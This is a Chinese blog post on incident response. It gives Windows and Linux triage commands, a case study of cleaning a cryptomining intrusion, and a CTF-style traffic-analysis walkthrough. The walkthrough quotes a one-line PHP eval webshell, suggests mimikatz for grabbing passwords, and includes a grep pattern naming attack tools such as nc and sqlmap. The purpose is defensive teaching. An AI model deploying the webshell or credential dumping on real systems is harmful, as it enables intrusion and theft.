玩命加载中 . . .

应急响应基础


此文章为博客丢失找回内容

此文章为博客丢失找回内容可能存在部分内容缺失情况

一、应急响应概念

为应对计算机和网络信息中的突发安全事件前的准备工作和事件后的处置措施

二、应急响应的流程

upload successful

三、实操排查点

upload successful

(1)、windows应急响应

1.检查系统账户安全
1.1 已有账号和远程管理端口

检查服务器已有系统或应用账号是否有弱口令,3389端口是否对外公网开放

  • 系统管理员账号
  • 网站后台账户
  • 数据库账户
  • FTP
  • Tomcat
  • phpMyAdmin

查看当前登录账号:query user

upload successful

使用logoff ID 命令注销已登录用户(会注销到账号登录界面),当可疑账号出于登录状态时,也可以使用mimikatz抓取密码

1.2 可疑账户、新增账户

检查服务器内是否有可疑账户、新增账户

检查方法: 打开cmd,输入lusrmgr.msc命令,查看是否有新增/可疑的账户

upload successful

wmic UserAccount get列出当前系统所有账户(与查看lusrmgr结果一样,无法看到隐藏账户)

upload successful

1.3 查看服务器是否存在隐藏账户、克隆账户
  1. 对于添加$符号的隐藏账户

使用下面命令:net localgroup administrators(一般攻击者添加账户为管理组)或计算机管理查看

upload successful

upload successful

  1. 对于修改注册表的隐藏账户

无法在”计算机管理”中看到,打开注册表,右键权限修改管理员权限

upload successful

退出注册表从进,查看Users表项目于Names表项中的项数量是否一致或者把这里存在的账户和计算机管理中存在的账户进行比较,多出来的账户就是隐藏账户。直接删除以隐藏账户命名的项。

upload successful

1.4 工具使用
  1. D盾

upload successful

  1. pchunter

upload successful

2.检查异常端口、进程
2.1 检查端口连接情况,是否有远程连接、可疑连接
  1. 端口状态查看

upload successful

管理员权限下:netstat -anob查看占用端口的应用情况

upload successful

-a 显示所有连接和监听端口。
-b 显示包含于创建每个连接或监听端口的可执行组件。在某些情况下已知可执行组件拥有多个独立组件,并且在这些情况下包含于创建连接或监听端口的组件序列被显示。这种情况下,可执行组件名在底部的 [] 中,顶部是其调用的组件等等,直到 TCP/IP部分。注意此选项可能需要很长时间,如果没有足够权限可能失败。

-n 以数字形式显示地址和端口号。
-o 显示与每个连接相关的所属进程 ID。

  1. 查看路由表

netstat -rn

upload successful

-r 显示路由表

  1. 进程定位

根据netstat定位出pid,再通过tasklist命令进行进程定位

tasklist | findstr "pid"

upload successful

  1. 防火墙配置

控制面板–>windows防火墙–>高级设置 入站策略和出站策略 查看防火墙入站和出站规则

upload successful

命令netsh firewall show all

upload successful

  1. 工具使用

PChunter、火绒剑、DNSQuerySniffer

使用火绒剑、PChunter查看网络连接

PChunter:

upload successful

火绒剑: 可着重查看 未知文件,远程地址为 外部地址,状态为 ESTABLISHEDLISTEN的连接,另外需要注意模块路径是否正确。

upload successful

DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口,该工具还可以将访问过的所有域名记录下来,重点关注红色记录的端口、响应代码、A记录(双击查看)

upload successful

2.2 检查进程
  1. 没有签名验证信息的进程

  2. 没有描述信息的进程

  3. 进程的属主

  4. 进程的路径

  5. 进程的占用

a、cmd查看

tasklist /? 查看tasklist 命令的使用

upload successful

查看进程对应的服务

tasklist /svc

upload successful

查看指定进程对应详情

tasklist /svc |findstr pid

upload successful

查看加载的DLL进程 查看DLL劫持

tasklist /m |findstr pid

upload successful

b、powershell 查看进程

get-process

upload successful

c、系统应用查看

开始输入msinfo

upload successful

upload successful

d、工具排查

没有厂商名称、没有签名信息、没有描述信息、CPU占用高

Pchunter:

黑色为微软官方进程、蓝色为外界进程、红色为可疑进程

upload successful

upload successful

ProcessExplorer(微软官方):

upload successful

3.检查启动项目、计划任务、服务
3.1 开机启动项目
  1. windows7 启动目录

upload successful

windows10:

upload successful

upload successful

开始菜单启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

cmd:
upload successful

系统自动启动的的目录: shell:Common Startup
用户自动启动的的目录: shell:Startup

  1. 任务管理器”启动”列表

    在任务管理器里查看

upload successful

  1. 注册表内启动项

WIN+R 输入 regedit,打开注册表,查看开机启动项是否正常,有异常删除,并安装杀毒软件进行病毒查杀,清楚残留病毒或木马

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

upload successful

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

upload successful

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

重启就会被清空

upload successful

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

upload successful

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

upload successful

排查发现计划任务可以计算MD5值看该进程与启动项是否一致

certutil -hashfile file md5

防止攻击者替换启动项目文件

upload successful

  1. 组策略编辑器

运行gpedit.msc

upload successful

upload successful

  1. 工具排查

pchunter:

upload successful

Autoruns 微软官方: 黄色红色比较可疑

upload successful

upload successful

WMI后门:无文件,相对难排查

upload successful

3.2 计划任务

taskschd.msc,查看计划任务属性,查看疑似木马文件的路径

upload successful

upload successful

CMD schtasks.exe

upload successful

3.3 服务
  1. 服务自启动检查

upload successful

upload successful

  1. 进程注入

cs进程注入:

upload successful

upload successful

上线成功:

upload successful

ProcessExplorer(微软官方):

upload successful

upload successful

火绒剑:

upload successful

4.检查系统相关信息及文件排查
4.1 查看系统信息
  1. msinfo32

upload successful

upload successful

重点看正在运行的任务、服务、系统驱动程序、加载的模块、启动程序

4.2 查看可疑目录文件
  1. 可疑进程 cpu利用率 进程名 时间—->文件

powershell:Get-ChildItem

cmd:dir dir /r 隐藏文件 dir /x 短文件名

Everything:

c: <*.exe | *.bat> dm:2022/11/10-2022/11/22 size:>1mb

upload successful

C: 表示盘符,如果是 C 盘、D 盘,对应的修改就行了。

<*.exe | *.bat>, 表示任意的以 .exe 或 .bat 结尾的文件,* 为通配符。

dm:2022/11/10-2022/11/22 表示修改时间为2022/11/10-2022/11/22间的文件,这里要与系统设置的时间格式保持一致,如果是月份在前,那这里也相应的修改一下。

size:>1mb:设置文件大小

  1. 注册表查看已安装应用程序目录:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

upload successful

  1. 查看用户目录

新建账户会在这个目录生成一个用户目录,查看是否有新建用户目录。就是c盘用户目录一般几个用户就会有几个文件夹。

upload successful

windows 2000/xp/2003 C:\Documents and Settings

  1. 其他位置文件

回收站、浏览器下载目录(c盘下载和浏览器默认下载路径)、浏览器历史记录、系统临时文件、浏览器cookie信息

  1. 时间

修改时间早于创建时间

(2)、Linux 应急响应

1. 进程
1.1 查看占用大量CPU/RAM的进程

top

upload successful

1.2 进程树

ps -auxwf

upload successful

1.3 开放的网络端口
netstat -nalp
ss -a -e -i
lsof [many opitons]

upload successful

1.4 查找被删除但还在运行的程序
ls -alR /proc/*/exe 2> /dev/null |grep deleted
1.5 进程相关名称及命令
strings /proc/<PID>/comm
strings /proc/<PID>/cmdline

upload successful

upload successful

1.6 进程实际路径

ls -al /proc/<PID>/exe

upload successful

1.7 进程执行时环境变量

strings /proc/<PID>/environ

upload successful

1.8 查看所有进程执行目录
ls -alR /proc/*/cwd

upload successful

1.9 查看在tmp dev 目录下执行的程序
ls -alR /proc/*/cwd 2> /dev/null | grep tmp
ls -alR /proc/*/cwd 2> /dev/null | grep dev
2. 目录

需要检查的目录

/tmp, /var/tmp, /dev/shm, /var/run,
/var/spool, user home directories

常用命令:

ls -alp path

upload successful

查找隐藏文件:

find / -d -name ".*"

3. 文件

查找设置属性为不可修改的文件

lsattr / -R 2> /dev/null | grep "\----i"

查找设置为SUID/SGUID的文件

find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;

upload successful

查找没有用户/组名称的文件

find / \( -nouser -o -nogroup \) -exec ls -lg {} \;

列出当前目录中的所有文件类型

file * -p

查找可执行文件

find / -type f -exec file -p '{}' \; | grep ELF
find /tmp -type f -exec file -p '{}' \; | grep ELF 

upload successful

最近一天有修改(modified/created)的文件

find / -mtime -1

可存放后门持久化的目录

/etc/rc.local, /etc/initd, /etc/rc*.d, /etc/modules, /etc/cron*, /var/spool/cron/*

查找已经修改的包文件

rpm -Va | grep ^..5.
debsums -c
4. 用户

查找所有ssh公钥文件

find / -name authorized_keys

upload successful

查找所有用户历史日志文件

find / -name .*history

查找历史日志文件重定向到/dev/null

ls -alR / 2> /dev/null | grep .*history | grep null

查看root用户/组

grep ":0:" /etc/passwd

upload successful

检测sudoers 文件

cat /etc/sudoers
cat /etc/group

upload successful

upload successful

检查计划任务

crontab -l
atq
systemctl list-timers --all
5. 日志

查找大小为0的文件

ls -al /var/log/*

审计登录日志

utmpdump /var/log/wtmp
utmpdump /var/run/utmp
utmpdump /var/log/btmp
last
lastb

upload successful

upload successful

查找包含有二进制文件的日志

grep [[:cntrl:]] /var/log/*.log

/var/log/secure:安全日志
/var/log/cron:定时任务日志
/var/log/yum.log:软件安装卸载日志
/var/log/maillog:邮件相关
登录成功:more /var/log/secure* | grep “Accepted password”
登录失败:more /var/log/secure* | grep “Failed password”
本机登录情况:more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户:more /var/log/secure
| grep “new user”
传输文件:more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志:more /var/log/cron

定时执行脚本:more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况:more /var/log/yum* | grep Installed
卸载软件情况:more /var/log/yum* | grep Erased
可疑工具:more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录:Lastb
所有用户最后一次登录:Lastlog
所有用户登录日志:last | grep pts | grep -vw :0ü /var/log/secure:安全日志
/var/log/cron:定时任务日志
/var/log/yum.log:软件安装卸载日志
/var/log/maillog:邮件相关
登录成功:more /var/log/secure* | grep “Accepted password”
登录失败:more /var/log/secure* | grep “Failed password”
本机登录情况:more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户:more /var/log/secure
| grep “new user”
传输文件:more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志:more /var/log/cron

定时执行脚本:more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况:more /var/log/yum* | grep Installed
卸载软件情况:more /var/log/yum* | grep Erased
可疑工具:more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录:Lastb
所有用户最后一次登录:Lastlog
所有用户登录日志:last | grep pts | grep -vw :0

四、案例

1.windows 应急响应

1.1 检查

系统 ————> windows server2008

风扇噪声很大 —-> 中毒

无web服务 —–> 推测横向移动或恶意软件

1.2 抑制

现象为风扇噪音大,先排查cpu占用与进程

upload successful

upload successful

未发现其他疑似恶意程序,查看该程序

upload successful

upload successful

upload successful

upload successful

发现存在恶意连接

upload successful

upload successful

先kill掉该进程,结束进程后,发现还会恢复,可能存在计划任务

upload successful

1.3 根除

因为存在自启动先检查计划任务、服务、开机启动项目相关启动信息

upload successful

upload successful

发现存在计划任务,继续查看你自动服务,并未发现恶意自动服务

upload successful

upload successful

查看开机启动项目

upload successful

综上:目前启动项目只有计划任务,先将该任务暂停,在kill

upload successful

upload successful

等待几分钟中,发现不存在该进程自启动了

总结已处理情况:

  • 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

  • ‎发生时间2022‎年‎3‎月‎23‎日,‏‎9:39:13

  • 获取的到的主机权限Administrator

继续排查所有windows可疑项目

检查windows 系统账户安全:

upload successful

upload successful

upload successful

发现存在隐藏账户,删除指定注册表项目就可以了

检查系统杂项发现辅助功能劫持

upload successful

辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。

锁屏状态下连续按5下shift确实调用cmd

upload successful

查看对应注册表项目

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

upload successful

删除对应的项目

upload successful

继续总结一下目前情况:

  • 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

  • ‎发生时间2022‎年‎3‎月‎23‎日,‏‎9:39:13

  • 获取的到的主机权限Administrator

  • 做了xiaoge$隐藏账户的添加

  • 辅助功能粘滞键被劫持

继续排查系统相关信息及文件排查:

未发现威胁项目

upload successful

文件检查:

upload successful

upload successful

upload successful

进一步总结:

  • 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

  • ‎发生时间2022‎年‎3‎月‎23‎日,‏‎9:39:13

  • 获取的到的主机权限Administrator

  • 做了xiaoge$隐藏账户的添加

  • 辅助功能粘滞键被劫持

  • 恶意软件Services.exe

  • 恶意软件WmiApSvr.exe

所有关键项目都检查完毕,现在要排查是怎么进去的,因为获取到Administrator权限,该服务器没有web服务,首先推测为暴力破解

upload successful

导出另存为

upload successful
使用分析工具查看:

evtxLogparse.exe -s fail 

upload successful

2022-03-21 16:26:27 存在smb暴力破解

upload successful

总结:2022-03-21 16开始进行远程登录,并创建隐藏账户,进行远程登录,上传恶意文件Services.exe、WmiApSvr.exe,2022-03-23 9时继续登录上传恶意程序,并创建定时任务和辅助功能粘滞键劫持

1.4 恢复
  1. 更换Administrator密码,重启服务器
  2. 注册表删除xiaoge$用户
  3. 删除恶意程序Services.exe、WmiApSvr.exe
  4. 删除定时任务system
  5. 结束进程javs.exe并删除文件
  6. 注册表删除辅助功能粘滞键
  7. 观察后续情况
1.5 建议
  1. 安装edr、杀软
  2. 制定密码强度管理制定

2.流量分析

某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题

2.1某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器

扫描器一般伴随着大量请求,筛选GET请求,查看

http.request.method == GET

upload successful

upload successful

所有可以判断是awvs扫描器

2.2 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)

有上面get请求包含admin路径,推测后台地址包含admin,请求类型为POST,因为要传输值

http.request.full_uri contains admin && http.request.method == POST

upload successful

所以后台地址admin/login.php

2.3 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

登录成功一般伴随着302重定向到管理员页面,可能还会有js的加载,所以我们查看出现不同于admin/login.php,就说明爆破成功,被重定向了

upload successful

upload successful

upload successful

可以看到获取到两个账户密码

upload successful

账户:人事 密码:hr123456

upload successful

账户:admin 密码:admin!@#pass123

2.4 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码

images下php文件,流量特征蚁剑,所以webshell名称a.php

upload successful

过滤webshell,根据密码1234

tcp contains "1234" && tcp contains ".php"

upload successful

所以提交的内容

<?php @eval($_POST[1234]);?>
2.5 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么

直接搜索就行http contains "robots.txt"

upload successful

flag:87b7cb79481f317bde90c116cf36084b

2.6 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少

查看黑客执行的命令http contains "/images/article/a.php" || tcp contains "/images/article/a.php

upload successful

upload successful

读取了product_category.php,包含的配置文件init.php 黑客下一步就要读取这个文件

upload successful

黑客读取了还是没有数据库账户密码

upload successful

继续读取:

upload successful

所以获取的账户密码:

// database username

$dbuser   = "web";

// database password

$dbpass   = "e667jUPvJjXHvEUv";
2.7 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么

直接搜索:tcp contains "hash_code" || http contains "hash_code"

upload successful

所以得到的hash_code:d1c029893df40cb0f47bcf8f1c3c17ac

2.8 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么

直接搜索:tcp contains "ijnu@test.com" || http contains "ijnu@test.com"

upload successful

upload successful

所以得到的密码:edc123!@#

2.9 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

继续看蚁剑流量http contains "/images/article/a.php" || tcp contains "/images/article/a.php

upload successful

网卡信息:

upload successful

2.10 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)

直接搜索登录url:http contains "/webmail/index.php?module=operate&action=login&web=1"

直接看最后一个就行,因为最后一个一般都是爆破成功的

upload successful

upload successful

账户:test.com 密码:+ZgE14UGcFcyRGLI0/ZXPQ==

密码前端加密后,看下前端的混淆

upload successful

upload successful

所以账户:test.com 密码:admin!@#PASS123

2.11 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少

upload successful

vpn的ip是:10.3.4.3


文章作者: lnng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lnng !
 上一篇
无线安全测试指南 无线安全测试指南
前言本文介绍了无线安全评估的测试方向和测试方法,并采用公司部门常有的wifipineapple设备做测试工具。通过本文的阅读可以学习到wifipineapple更深层的网卡操作,且可作为日常无线安全评估的测试参考。 wifipineappl
2023-12-10
下一篇 
内存马分析与处置实验记录 内存马分析与处置实验记录
此文章为博客丢失找回内容此文章为博客丢失找回内容可能存在部分内容缺失情况 一、找到命令执行 构造命令执行: 二、使用哥斯拉进行连接注入内存马 访问xx已存在 三、日志分析 内存 工具检测: memshell: 哥斯拉内
2022-11-08
  目录